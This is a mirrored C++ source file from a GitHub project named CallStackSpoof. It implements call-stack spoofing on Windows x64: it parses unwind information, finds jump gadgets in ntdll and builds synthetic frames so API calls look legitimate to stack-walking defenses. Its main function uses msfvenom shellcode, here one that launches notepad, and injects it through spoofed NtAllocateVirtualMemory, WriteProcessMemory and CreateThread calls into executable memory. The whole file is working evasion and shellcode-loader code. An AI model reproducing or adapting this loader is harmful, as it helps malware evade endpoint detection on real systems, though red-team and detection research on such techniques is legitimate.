mirror of
https://github.com/vgeorgiev90/CallStackSpoof
synced 2026-06-06 16:54:33 +00:00
719 lines
25 KiB
C++
719 lines
25 KiB
C++
#include <main.h>
|
|
|
|
|
|
#define GADGETS_MAX 16 // max size for gadgets array
|
|
|
|
|
|
PGADGET_INFO* g_GadgetList = NULL;
|
|
DWORD safeGadgetCount = 0;
|
|
|
|
// msfvenom -p windowx/x64/exec CMD=notepad -f c
|
|
unsigned char shellcode[] =
|
|
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
|
|
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
|
|
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
|
|
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
|
|
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
|
|
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
|
|
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
|
|
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
|
|
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
|
|
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
|
|
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
|
|
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
|
|
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
|
|
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
|
|
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
|
|
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
|
|
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
|
|
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
|
|
"\xd5\x6e\x6f\x74\x65\x70\x61\x64\x00";
|
|
|
|
|
|
/*
|
|
Main function that will be used to build the syntetic frames
|
|
prepare the arguments for the specified API and call it, after that
|
|
it cleansup and restores execution to the caller
|
|
*/
|
|
extern "C" PVOID Spoof(STACK_INFO* pStackInfo);
|
|
|
|
|
|
/*
|
|
Find the exception directory for the given module
|
|
pExceptInfo - pointer to EXCEPT_INFO struct that will receive the parsed information
|
|
*/
|
|
BOOL findExceptionDir(PEXCEPT_INFO pExceptInfo) {
|
|
|
|
if (!pExceptInfo)
|
|
return FALSE;
|
|
|
|
PBYTE hModule = pExceptInfo->hModule;
|
|
|
|
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
|
|
if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
|
|
DEBUG_PRINT("[!] Not a valid image\n");
|
|
return FALSE;
|
|
}
|
|
|
|
PIMAGE_NT_HEADERS64 pNtHdrs = (PIMAGE_NT_HEADERS64)(hModule + pDosHdr->e_lfanew);
|
|
if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
|
|
DEBUG_PRINT("[!] Failed to find valid NT signature\n");
|
|
return FALSE;
|
|
}
|
|
|
|
PIMAGE_OPTIONAL_HEADER pOptHdr = &pNtHdrs->OptionalHeader;
|
|
|
|
if (pOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress == 0) {
|
|
DEBUG_PRINT("[!] No exceptions directory for the module\n");
|
|
return FALSE;
|
|
}
|
|
|
|
pExceptInfo->pExceptionDirectory = (ULONG_PTR)(hModule + pOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
|
|
pExceptInfo->dwRuntimeFuncCount = pOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(RUNTIME_FUNCTION);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
/*
|
|
Process the unwind information for a specified function
|
|
hModule - Handle to the module for the particular function
|
|
pUnwindInfo - pointer to the found uwind information struct
|
|
pStackFrameInfo - pointer to a STACK_FRAME_INFO struct that will be populated
|
|
*/
|
|
BOOL processUnwindInfo(
|
|
IN HMODULE hModule,
|
|
IN PUNWIND_INFO pUnwindInfo,
|
|
OUT PSTACK_FRAME_INFO pStackFrameInfo
|
|
) {
|
|
|
|
PUNWIND_CODE pUnwindCode = pUnwindInfo->UnwindCode;
|
|
ULONG unwindCodesIndex = 0;
|
|
ULONG frameOffset = 0;
|
|
DWORD offsetBytes = 0, offset = 0;
|
|
|
|
DEBUG_PRINT("\tStarting to process unwind info at address: %p\n", pUnwindInfo);
|
|
DEBUG_PRINT("\tCount of unwind codes: %d\n", pUnwindInfo->CountOfCodes);
|
|
|
|
// start processing all of the unwind codes
|
|
while (unwindCodesIndex < pUnwindInfo->CountOfCodes) {
|
|
|
|
ULONG unwindOperation = pUnwindCode[unwindCodesIndex].UnwindOp;
|
|
ULONG operationInfo = pUnwindCode[unwindCodesIndex].OpInfo;
|
|
|
|
switch (unwindOperation) {
|
|
|
|
case UWOP_PUSH_NONVOL:
|
|
DEBUG_PRINT("\tprocessing UWOP_PUSH_NONVOL\n");
|
|
pStackFrameInfo->stackFrameSize += 8;
|
|
break;
|
|
|
|
case UWOP_SAVE_NONVOL:
|
|
pStackFrameInfo->hasSaveNonvol = TRUE;
|
|
offsetBytes = pUnwindCode[unwindCodesIndex + 1].FrameOffset * 8;
|
|
|
|
if (pStackFrameInfo->maxSaveNonvolOffset < offsetBytes)
|
|
pStackFrameInfo->maxSaveNonvolOffset = offsetBytes;
|
|
DEBUG_PRINT("\tprocessing UWOP_SAVE_NONVOL values: %d, offset: %d\n", operationInfo, offsetBytes);
|
|
|
|
unwindCodesIndex++;
|
|
break;
|
|
|
|
case UWOP_ALLOC_SMALL:
|
|
DEBUG_PRINT("\tprocessing UWOP_ALLOC_SMALL with opInfo: %u\n", operationInfo);
|
|
pStackFrameInfo->stackFrameSize += ((operationInfo * 8) + 8);
|
|
break;
|
|
|
|
case UWOP_ALLOC_LARGE:
|
|
|
|
unwindCodesIndex++;
|
|
frameOffset = pUnwindCode[unwindCodesIndex].FrameOffset;
|
|
|
|
DEBUG_PRINT("\tprocessing UWOP_ALLOC_LARGE with frameOffset: %u, opInfo: %u\n", frameOffset, operationInfo);
|
|
|
|
if (operationInfo == 0) {
|
|
frameOffset *= 8;
|
|
}
|
|
else {
|
|
unwindCodesIndex++;
|
|
frameOffset += (pUnwindInfo->UnwindCode[unwindCodesIndex].FrameOffset << 16);
|
|
}
|
|
|
|
pStackFrameInfo->stackFrameSize += frameOffset;
|
|
break;
|
|
|
|
case UWOP_SET_FPREG:
|
|
DEBUG_PRINT("\tprocessing UWOP_SET_FPREG\n");
|
|
pStackFrameInfo->useFPreg = TRUE;
|
|
break;
|
|
|
|
case UWOP_SAVE_XMM128:
|
|
// TODO potentially do the same as for SAVE_NONVOL
|
|
DEBUG_PRINT("\tprocessing UWOP_SAVE_XMM128\n");
|
|
unwindCodesIndex++;
|
|
break;
|
|
|
|
case UWOP_SAVE_XMM128_FAR:
|
|
// TODO potentially do the same as for SAVE_NONVOL
|
|
DEBUG_PRINT("\tprocessing UWOP_SAVE_XMM128\n");
|
|
unwindCodesIndex += 2;
|
|
break;
|
|
|
|
case UWOP_PUSH_MACHFRAME:
|
|
DEBUG_PRINT("\tprocessing UWOP_PUSH_MACHFRAME\n");
|
|
|
|
if (pUnwindCode[unwindCodesIndex].OpInfo == 0) {
|
|
pStackFrameInfo->stackFrameSize += 40;
|
|
}
|
|
else {
|
|
pStackFrameInfo->stackFrameSize += 48;
|
|
}
|
|
break;
|
|
|
|
case UWOP_SAVE_NONVOL_FAR:
|
|
offset =
|
|
pUnwindCode[unwindCodesIndex + 1].FrameOffset |
|
|
(pUnwindCode[unwindCodesIndex + 2].FrameOffset << 16);
|
|
|
|
offsetBytes = offset * 8;
|
|
|
|
// record the maximum offset for save_nonvol
|
|
pStackFrameInfo->hasSaveNonvol = TRUE;
|
|
if (offsetBytes > pStackFrameInfo->maxSaveNonvolOffset)
|
|
pStackFrameInfo->maxSaveNonvolOffset = offsetBytes;
|
|
|
|
DEBUG_PRINT("\tprocessing UWOP_SAVE_NONVOL_FAR reg=%u offset=%u\n",
|
|
operationInfo, offsetBytes);
|
|
|
|
unwindCodesIndex += 2;
|
|
break;
|
|
|
|
default:
|
|
DEBUG_PRINT("\tunknown unwind OP INFO: %d\n", unwindOperation);
|
|
break;
|
|
}
|
|
|
|
unwindCodesIndex++;
|
|
}
|
|
|
|
if (pStackFrameInfo->stackFrameSize & 7)
|
|
DEBUG_PRINT("\t! Stack size is not 8 byte aligned\n");
|
|
|
|
if (pStackFrameInfo->stackFrameSize > 0x4000)
|
|
DEBUG_PRINT("\t! Too large stack size: %ld, possibly corrupted unwind info\n", pStackFrameInfo->stackFrameSize);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
/*
|
|
Calculate the stack frame size for the specified function
|
|
hModule - handle to the module containing the function
|
|
funcAddress - address of the function
|
|
pStackFrameInfo - pointer to a STACK_FRAME_INFO struct that will be populated
|
|
offsetFromStart - optional offset from the start of the function
|
|
*/
|
|
BOOL calculateFuncStackSize(
|
|
IN HMODULE hModule,
|
|
IN ULONG_PTR funcAddress,
|
|
OUT PSTACK_FRAME_INFO pStackFrameInfo,
|
|
IN OPTIONAL DWORD offsetFromStart
|
|
) {
|
|
|
|
EXCEPT_INFO ExceptInfo = { 0 };
|
|
BOOL success = FALSE, found = FALSE;
|
|
PRUNTIME_FUNCTION pRuntimeFunc = NULL;
|
|
DWORD funcOffset = 0;
|
|
PUNWIND_INFO pUnwindInfo = NULL;
|
|
DWORD prologSize = 0;
|
|
BOOL prologCaptured = FALSE;
|
|
|
|
|
|
|
|
if (!pStackFrameInfo)
|
|
goto _CLEANUP;
|
|
|
|
DEBUG_PRINT("[+] Calculating stack frame size for function: %p\n", funcAddress);
|
|
|
|
// populate the hModule member and find the exceptions dir
|
|
ExceptInfo.hModule = (PBYTE)hModule;
|
|
if (!findExceptionDir(&ExceptInfo)) {
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
// find the offset of the function from the start of the module
|
|
pRuntimeFunc = (PRUNTIME_FUNCTION)ExceptInfo.pExceptionDirectory;
|
|
funcOffset = (PBYTE)funcAddress - (PBYTE)hModule;
|
|
|
|
// iterate over all exception directory entries until we find the runtime function entry for the specified address
|
|
for (int i = 0; i < ExceptInfo.dwRuntimeFuncCount; i++) {
|
|
// if the offset from the start of the module is between the begin and end of the runtime function entry
|
|
// then its the correct one
|
|
if (funcOffset >= pRuntimeFunc->BeginAddress && funcOffset < pRuntimeFunc->EndAddress) {
|
|
found = TRUE;
|
|
break;
|
|
}
|
|
pRuntimeFunc++;
|
|
}
|
|
|
|
// if nothing is found, most likely it is a leaf function
|
|
// and the stack frame size is just the return address
|
|
if (!found) {
|
|
DEBUG_PRINT("\tleaf function detected: %p, returning stack size of 8\n", funcAddress);
|
|
|
|
pStackFrameInfo->returnRip = funcAddress;
|
|
pStackFrameInfo->stackFrameSize = 8;
|
|
|
|
success = TRUE;
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
// if there is a runtime function entry found, but unwind data is empty then again its a leaf fn
|
|
if (pRuntimeFunc->UnwindData == 0) {
|
|
DEBUG_PRINT("\tleaf function detected: %p, returning stack size of 8\n", funcAddress);
|
|
|
|
pStackFrameInfo->returnRip = funcAddress;
|
|
pStackFrameInfo->stackFrameSize = 8;
|
|
|
|
success = TRUE;
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
// pointer to the actual unwind data
|
|
pUnwindInfo = (PUNWIND_INFO)((PBYTE)hModule + pRuntimeFunc->UnwindData);
|
|
|
|
// Start processing the unwind information
|
|
while (TRUE) {
|
|
|
|
// Capture the original function prolog size
|
|
if (!prologCaptured) {
|
|
prologSize = pUnwindInfo->SizeOfProlog;
|
|
prologCaptured = TRUE;
|
|
}
|
|
|
|
// process the unwind info and accumulate the stack frame size
|
|
if (!processUnwindInfo(hModule, pUnwindInfo, pStackFrameInfo))
|
|
return FALSE;
|
|
|
|
// if there is no chain info included, break from the loop
|
|
if (!(pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
|
|
break;
|
|
|
|
DEBUG_PRINT("\tChained info detected, processing further\n");
|
|
// if there is chained info and the count of codes is uneven, it needs to be padded
|
|
ULONG unwindCount = pUnwindInfo->CountOfCodes;
|
|
if (unwindCount & 1)
|
|
unwindCount++;
|
|
|
|
|
|
// The chained RUNTIME_FUNCTION is stored after unwind codes
|
|
PRUNTIME_FUNCTION chainedRf = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[unwindCount]);
|
|
|
|
pUnwindInfo = (PUNWIND_INFO)((PBYTE)hModule + chainedRf->UnwindData);
|
|
}
|
|
|
|
// account for the return address
|
|
pStackFrameInfo->stackFrameSize += 8;
|
|
|
|
// return the RIP address that will be used in the fake frame,
|
|
// either with a fixed offset or with the prolog size
|
|
if (offsetFromStart != 0) {
|
|
pStackFrameInfo->returnRip = funcAddress + offsetFromStart;
|
|
}
|
|
else {
|
|
pStackFrameInfo->returnRip = funcAddress + prologSize;
|
|
}
|
|
|
|
DEBUG_PRINT("\tCalculated stack size: %llu, prolog size: %d\n", pStackFrameInfo->stackFrameSize, prologSize);
|
|
success = TRUE;
|
|
|
|
_CLEANUP:
|
|
return success;
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
Iterate over the .text section of the specified module to find all potential safe jump gadgets
|
|
hModule - handle to the module
|
|
gadgetArray - pointer to a pointer that will represent the found gadget array
|
|
arraySize - maximum size of the gadget array
|
|
safeCount - count of safe gadgets that can be used
|
|
*/
|
|
BOOL findJmpGadgets(
|
|
IN HMODULE hModule,
|
|
OUT PGADGET_INFO** gadgetArray,
|
|
IN SIZE_T arraySize,
|
|
OUT PDWORD safeCount
|
|
) {
|
|
|
|
// validate parameters
|
|
if (!hModule || !arraySize || !safeCount || !gadgetArray)
|
|
return FALSE;
|
|
|
|
*safeCount = 0;
|
|
|
|
PBYTE base = (PBYTE)hModule;
|
|
DWORD matches = 0;
|
|
PIMAGE_DOS_HEADER pDosHdr = NULL;
|
|
PIMAGE_NT_HEADERS pNtHdrs = NULL;
|
|
PIMAGE_SECTION_HEADER section = NULL;
|
|
PGADGET_INFO* pGadgetArray = NULL;
|
|
PGADGET_INFO pInfo = NULL;
|
|
|
|
// Validate the DOS headers
|
|
pDosHdr = (PIMAGE_DOS_HEADER)base;
|
|
if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
|
|
DEBUG_PRINT("[!] Not a valid image\n");
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
// Validate the NT headers
|
|
pNtHdrs = (PIMAGE_NT_HEADERS)(base + pDosHdr->e_lfanew);
|
|
if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
|
|
DEBUG_PRINT("[!] Failed to find valid NT signature\n");
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
// Iterate over all sections and process only executable ones
|
|
section = IMAGE_FIRST_SECTION(pNtHdrs);
|
|
pGadgetArray = (PGADGET_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PGADGET_INFO) * arraySize);
|
|
if (pGadgetArray == NULL)
|
|
goto _CLEANUP;
|
|
|
|
for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++, section++) {
|
|
|
|
DWORD sectionSize = 0;
|
|
PBYTE sectionBase = NULL;
|
|
|
|
// Check if section is executable
|
|
if (!(section->Characteristics & IMAGE_SCN_MEM_EXECUTE))
|
|
continue;
|
|
|
|
sectionBase = base + section->VirtualAddress;
|
|
sectionSize = section->Misc.VirtualSize;
|
|
|
|
// search for our gadget - 'jmp qword ptr [rbx]' -> 0xff 0x23
|
|
for (int z = 0; z + 1 < sectionSize; z++) {
|
|
|
|
// Check if the array is already full
|
|
if (*safeCount >= arraySize)
|
|
break;
|
|
|
|
// On every match check if the gadget is safe for usage
|
|
if (sectionBase[z] == 0xff && sectionBase[z + 1] == 0x23) {
|
|
matches++;
|
|
|
|
ULONG_PTR address = (ULONG_PTR)(sectionBase + z);
|
|
STACK_FRAME_INFO stackFrameInfo = { 0 };
|
|
|
|
// Get the frame size of the gadget and other information from the unwind info
|
|
if (calculateFuncStackSize(
|
|
hModule,
|
|
(ULONG_PTR)address,
|
|
&stackFrameInfo,
|
|
0
|
|
)) {
|
|
// TODO handle UWOP_SET_FPREG
|
|
if (stackFrameInfo.useFPreg)
|
|
continue;
|
|
|
|
// allocate a buffer that will hold the information
|
|
pInfo = (PGADGET_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(GADGET_INFO));
|
|
if (pInfo == NULL)
|
|
goto _CLEANUP;
|
|
|
|
// check if there is UWOP_SAVE_NONVOL with offset bigger than the stack frame size
|
|
// If there is the gadget is not safe, until this is implemented in assembly
|
|
if (stackFrameInfo.hasSaveNonvol) {
|
|
if (stackFrameInfo.maxSaveNonvolOffset < stackFrameInfo.stackFrameSize) {
|
|
// if the gadget is safe insert it in the array
|
|
pInfo->address = (PVOID)address;
|
|
pInfo->stackFrameSize = stackFrameInfo.stackFrameSize;
|
|
pGadgetArray[*safeCount] = pInfo;
|
|
(*safeCount)++;
|
|
}
|
|
else {
|
|
// if its not safe proceed to the next one
|
|
HeapFree(GetProcessHeap(), 0 , pInfo);
|
|
continue;
|
|
}
|
|
}
|
|
else {
|
|
pInfo->address = (PVOID)address;
|
|
pInfo->stackFrameSize = stackFrameInfo.stackFrameSize;
|
|
pGadgetArray[*safeCount] = pInfo;
|
|
(*safeCount)++;
|
|
}
|
|
}
|
|
else {
|
|
continue;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
*gadgetArray = pGadgetArray;
|
|
pGadgetArray = NULL;
|
|
|
|
DEBUG_PRINT("[+] Total gadget matches: %d, safe gadgets count: %d\n", matches, *safeCount);
|
|
|
|
_CLEANUP:
|
|
if (!*gadgetArray && pGadgetArray)
|
|
HeapFree(GetProcessHeap(), 0, pGadgetArray);
|
|
|
|
return (*safeCount > 0);
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
Main wrapper function for invoking an API with spoofed call stack
|
|
pApiCallInfo - pointer to API_CALL_INFO struct that holds all the information, about spoofed frames and the api to be called
|
|
... - variadic arguments that represent the arguments for the API to be called
|
|
*/
|
|
BOOL CallStackSpoof(PAPI_CALL_INFO pApiCallInfo, ...) {
|
|
|
|
// validate parameters
|
|
if (!pApiCallInfo || !pApiCallInfo->spoofFramesTargetsArray || !pApiCallInfo->spoofFramesCount)
|
|
return FALSE;
|
|
|
|
DEBUG_PRINT("[+] Spoofing stack for function:\n\tAddress: %p, number of arguments: %d\n", pApiCallInfo->pFuncAddr, pApiCallInfo->apiFuncArgsCount);
|
|
|
|
va_list va_args;
|
|
STACK_INFO stackInfo = { 0 };
|
|
uint64_t* args = NULL;
|
|
BOOL success = FALSE;
|
|
|
|
// Allocate memory for the spoofed frames
|
|
stackInfo.FramesCount = pApiCallInfo->spoofFramesCount;
|
|
stackInfo.pFrames = (PSTACK_FRAME_INFO)
|
|
HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, stackInfo.FramesCount * sizeof(STACK_FRAME_INFO));
|
|
|
|
// choose a pseudo random gadget from the list
|
|
SIZE_T index = rand() % safeGadgetCount;
|
|
PGADGET_INFO jmpGadget = g_GadgetList[index];
|
|
|
|
DEBUG_PRINT("\tGadget that will be used: %p, with frame size: %d\n", jmpGadget->address, jmpGadget->stackFrameSize);
|
|
|
|
// Prepare all the information for the frames to be spoofed
|
|
for (SIZE_T i = 0; i < pApiCallInfo->spoofFramesCount; i++) {
|
|
|
|
PSPOOF_TARGET pSpoofTarget = (PSPOOF_TARGET)pApiCallInfo->spoofFramesTargetsArray[i];
|
|
|
|
// get the stack frame size for every spoof target
|
|
if (!calculateFuncStackSize(pSpoofTarget->hModule, (ULONG_PTR)(pSpoofTarget->funcAddress), &stackInfo.pFrames[i], pSpoofTarget->offsetFromStart)) {
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
// validate the frame, this is needed before unsafe SAVE_NONVOLs can be included
|
|
if (stackInfo.pFrames[i].hasSaveNonvol
|
|
&& stackInfo.pFrames[i].maxSaveNonvolOffset >= stackInfo.pFrames[i].stackFrameSize) {
|
|
|
|
DEBUG_PRINT(
|
|
"[!] Unwind Info for function: %p contains SAVE_NONVOL with offset %d, which is bigger than the stack frame of %d bytes\n",
|
|
pSpoofTarget->funcAddress,
|
|
stackInfo.pFrames[i].maxSaveNonvolOffset,
|
|
stackInfo.pFrames[i].stackFrameSize
|
|
);
|
|
|
|
goto _CLEANUP;
|
|
}
|
|
}
|
|
|
|
// Prepare jump gadget address and its frame size
|
|
stackInfo.pGadgetAddr = (uint64_t)jmpGadget->address;
|
|
stackInfo.dwGadgetSize = jmpGadget->stackFrameSize;
|
|
// Prepare the address of the target API to be invoked
|
|
stackInfo.pTargetFunc = pApiCallInfo->pFuncAddr;
|
|
|
|
// Calculate to the total size of syntetic frames for cleanup before restoring the execution flow
|
|
for (SIZE_T i = 0; i < stackInfo.FramesCount; i++)
|
|
stackInfo.totalFrameSizes += stackInfo.pFrames[i].stackFrameSize;
|
|
|
|
stackInfo.totalFrameSizes += stackInfo.dwGadgetSize;
|
|
DEBUG_PRINT("\tTotal frame size for spoofed frames: %ld\n", stackInfo.totalFrameSizes);
|
|
|
|
// Validate the count of the arguments that the API expects
|
|
if (pApiCallInfo->apiFuncArgsCount <= 4) {
|
|
stackInfo.dwNumOfArgs = 4;
|
|
}
|
|
else if (pApiCallInfo->apiFuncArgsCount % 2 != 0) {
|
|
stackInfo.dwNumOfArgs = pApiCallInfo->apiFuncArgsCount + 1;
|
|
}
|
|
else {
|
|
stackInfo.dwNumOfArgs = pApiCallInfo->apiFuncArgsCount;
|
|
}
|
|
|
|
|
|
// Allocate memory for the arguments and add the to the structure that will be used by the Spoofer
|
|
stackInfo.pFuncArgs = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 8 * stackInfo.dwNumOfArgs);
|
|
|
|
args = (uint64_t*)stackInfo.pFuncArgs;
|
|
|
|
// Parse the variadic arguments
|
|
va_start(va_args, pApiCallInfo);
|
|
for (int i = 0; i < pApiCallInfo->apiFuncArgsCount; i++) {
|
|
args[i] = va_arg(va_args, UINT64);
|
|
}
|
|
va_end(va_args);
|
|
|
|
// for debug
|
|
#ifdef DEBUG
|
|
DEBUG_PRINT("Press any key to continue..\n");
|
|
getchar();
|
|
#endif
|
|
//
|
|
|
|
// Execute the API with a spoofed call stack and get the return value
|
|
pApiCallInfo->retVal = Spoof(&stackInfo);
|
|
|
|
success = TRUE;
|
|
|
|
_CLEANUP:
|
|
if (stackInfo.pFrames) {
|
|
HeapFree(GetProcessHeap(), 0, stackInfo.pFrames);
|
|
}
|
|
if (stackInfo.pFuncArgs)
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)stackInfo.pFuncArgs);
|
|
|
|
return success;
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
Simple example of executing a notepad shellcode trough spoofed API calls
|
|
*/
|
|
int main()
|
|
{
|
|
srand((unsigned int)time(NULL));
|
|
|
|
API_CALL_INFO apiCallInfo = { 0 };
|
|
NTSTATUS status = 0;
|
|
DWORD bytesWritten = 0, threadId = 0, success = -1;
|
|
|
|
// Functions that will be used for the spoofed call stack frames
|
|
LPCSTR SpoofName1 = "RtlUserThreadStart";
|
|
LPCSTR SpoofName2 = "BaseThreadInitThunk";
|
|
LPCSTR SpoofName3 = "VirtualAlloc";
|
|
|
|
SPOOF_TARGET SpoofApi1 = { 0 };
|
|
SPOOF_TARGET SpoofApi2 = { 0 };
|
|
SPOOF_TARGET SpoofApi3 = { 0 };
|
|
|
|
PSPOOF_TARGET spoofArray[3] = { 0 };
|
|
|
|
// Handles to the modules that are required
|
|
HMODULE hMod = GetModuleHandleA("ntdll.dll");
|
|
HMODULE hMod2 = GetModuleHandleA("kernel32.dll");
|
|
HMODULE hMod3 = GetModuleHandleA("kernelbase.dll");
|
|
|
|
// Prepare information about the spoof targets
|
|
SpoofApi1.funcAddress = (ULONG_PTR)GetProcAddress(hMod, SpoofName1);
|
|
SpoofApi1.hModule = hMod;
|
|
SpoofApi1.offsetFromStart = 0x21;
|
|
|
|
SpoofApi2.funcAddress = (ULONG_PTR)GetProcAddress(hMod2, SpoofName2);
|
|
SpoofApi2.hModule = hMod2;
|
|
SpoofApi2.offsetFromStart = 0x14;
|
|
|
|
SpoofApi3.funcAddress = (ULONG_PTR)GetProcAddress(hMod2, SpoofName3);
|
|
SpoofApi3.hModule = hMod3;
|
|
SpoofApi3.offsetFromStart = 0;
|
|
|
|
// Store them in an array for syntetic frame preparations
|
|
spoofArray[0] = &SpoofApi1;
|
|
spoofArray[1] = &SpoofApi2;
|
|
spoofArray[2] = &SpoofApi3;
|
|
|
|
// Find safe jump gadgets to use as atm couple of unwind opcodes are not implemented
|
|
findJmpGadgets(hMod, &g_GadgetList, GADGETS_MAX, &safeGadgetCount);
|
|
|
|
// Prepare the API_CALL_INFO struct that will hold information about the syntetic frames
|
|
// and also the API to be called and its args
|
|
apiCallInfo.spoofFramesCount = 3;
|
|
apiCallInfo.spoofFramesTargetsArray = spoofArray;
|
|
|
|
// The following APIs will be called with spoofed call stacks
|
|
ULONG_PTR pNtAllocateVirtualMemory = (ULONG_PTR)GetProcAddress(hMod, "NtAllocateVirtualMemory");
|
|
ULONG_PTR pWriteProcessMemory = (ULONG_PTR)GetProcAddress(hMod2, "WriteProcessMemory");
|
|
ULONG_PTR pCreateThread = (ULONG_PTR)GetProcAddress(hMod2, "CreateThread");
|
|
|
|
// Starting with NtAllocateVirtualMemory to allocate memory for the shellcode
|
|
apiCallInfo.pFuncAddr = pNtAllocateVirtualMemory;
|
|
apiCallInfo.apiFuncArgsCount = 6;
|
|
|
|
PVOID addr = NULL;
|
|
SIZE_T size = sizeof(shellcode);
|
|
|
|
if (!CallStackSpoof(
|
|
&apiCallInfo,
|
|
(uint64_t)(HANDLE)-1,
|
|
(uint64_t)&addr,
|
|
(uint64_t)0,
|
|
(uint64_t)&size,
|
|
(uint64_t)(MEM_COMMIT | MEM_RESERVE),
|
|
(uint64_t)PAGE_EXECUTE_READWRITE
|
|
)) {
|
|
DEBUG_PRINT("[!] Spoofing failed\n");
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
status = (NTSTATUS)(ULONG_PTR)apiCallInfo.retVal;
|
|
DEBUG_PRINT("[+] Allocation: %p, status: 0x%08X\n", addr, status);
|
|
|
|
// Next we are calling WriteProcessMemory to write the actual shellcode to the allocation
|
|
apiCallInfo.pFuncAddr = pWriteProcessMemory;
|
|
apiCallInfo.apiFuncArgsCount = 5;
|
|
|
|
if (!CallStackSpoof(
|
|
&apiCallInfo,
|
|
(uint64_t)(HANDLE)-1,
|
|
(uint64_t)addr,
|
|
(uint64_t)shellcode,
|
|
(uint64_t)sizeof(shellcode),
|
|
(uint64_t)&bytesWritten
|
|
)) {
|
|
DEBUG_PRINT("[!] Spoofing failed\n");
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
if (!apiCallInfo.retVal) {
|
|
DEBUG_PRINT("[!] WriteProcessMemory failed\n");
|
|
goto _CLEANUP;
|
|
}
|
|
else {
|
|
DEBUG_PRINT("[+] Shellcode bytes written: %d\n", bytesWritten);
|
|
}
|
|
|
|
// Finally we can create a thread to execute the shellcode
|
|
apiCallInfo.pFuncAddr = pCreateThread;
|
|
apiCallInfo.apiFuncArgsCount = 6;
|
|
|
|
if (!CallStackSpoof(
|
|
&apiCallInfo,
|
|
(uint64_t)NULL,
|
|
(uint64_t)0,
|
|
(uint64_t)addr,
|
|
(uint64_t)NULL,
|
|
(uint64_t)0,
|
|
(uint64_t)&threadId
|
|
)) {
|
|
DEBUG_PRINT("[!] Spoofing failed\n");
|
|
goto _CLEANUP;
|
|
}
|
|
|
|
|
|
DEBUG_PRINT("[+] Thread created with ID: %d\n", threadId);
|
|
WaitForSingleObject((HANDLE)apiCallInfo.retVal, INFINITE);
|
|
success = 0;
|
|
|
|
_CLEANUP:
|
|
// Cleanup the gadget array
|
|
for (DWORD i = 0; i < safeGadgetCount; i++)
|
|
HeapFree(GetProcessHeap(), 0, g_GadgetList[i]);
|
|
HeapFree(GetProcessHeap(), 0, g_GadgetList);
|
|
|
|
return success;
|
|
} |